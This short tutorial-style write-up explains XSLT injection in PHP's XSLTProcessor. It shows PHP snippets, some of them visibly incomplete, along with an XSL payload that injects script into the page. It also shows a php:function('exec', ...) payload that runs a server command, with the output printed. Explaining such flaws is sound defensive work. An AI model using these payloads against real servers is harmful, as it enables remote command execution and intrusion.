XSLT Inclusion / Injection

(Reference #1007)

Acunetix describes this as an XSL injection. The php_xsl extension should be enabled on Apache (if it's the one being used). The following methods of transformation will be covered:

  • XSLTProcessor::__construct
    - create an XSLTP object
  • XSLTProcessor::transformToXML
    - transforming XSL to XML
  • XSLTProcessor::ImportStyleSheet
    - importing style sheets
  • XSLTProcessor::registerPHPFunctions
    - self-explanatory

Some of the basic XSLT elements which apply in these occasions and generally as well:


The tags speak for themselves but if any further reference is needed, a lot of information is provided at w3.org.



The magic method __construct can be used like so:


$doc = new DOMDocument();
$xsl = new XSLTProcessor();


echo $xsl->transformToXML($doc);

Instances for the DOM and the processor have been created, afterwards the XML has been loaded for conversion and the result is being returned. Here is the XML structure that is being loaded:

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>

In other occasions a user would be specifying the XML through a form or including it locally but the aim here is just to present the vulnerability. So far executions are only limited to client-sided exploitation.


The fuction enables the usage of PHP alike functions as XSLT ones. However, they obey certain syntax which is the following:

php:function('function name','command')

Demonstrated as follows:


$doc = new DOMDocument();
$xsl = new XSLTProcessor();
$xsl->registerPHPFunctions(); // Enable the function
$doc->load('styles.xml'); // We reuse the variable though it's not practical

echo $xsl->transformToXML($doc);

Given this scenario, now an attacker can pretty much run any command unless the second restrict parameter has been used to disallow certain functions. Considering the following XSL for instance:

<xsl:value-of select="php:function('exec','netstat /')"/>

Buried within our styles.xml, the above outputs the following on my box in specific:

TCP oa-in-fl20:https ESTABLISHED


The functions expects a single parameter that needs to be an object (DOM or SimpleXMLElement).


$XSLT = new XSLTProcessor();
$XML = new DOMDocument();
$XSL = new DomDocument();


print $XSLT->transformToXML($XML);

Supplying the file through the GET parameter is the same as pointing it out in the code itself.


For further reading on the topic: The hidden dangers of XSLTProcessor – Remote XSL injection.